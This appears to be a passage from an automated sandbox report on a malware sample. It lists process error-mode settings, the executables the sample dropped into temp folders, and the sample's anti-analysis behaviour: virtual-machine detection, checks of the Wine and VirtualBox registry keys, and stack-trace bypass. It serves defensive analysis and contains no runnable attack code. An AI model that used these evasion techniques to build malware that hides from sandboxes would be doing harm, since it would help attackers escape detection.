Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: zudFSfy.exe PID: 8048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kz8ZdyP.exe PID: 4916, type: MEMORYSTR

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\SysWOW64\svchost.exe

Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_1-9736

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	API/Special instruction interceptor: Address: 7FFE2220D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFE2220D044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
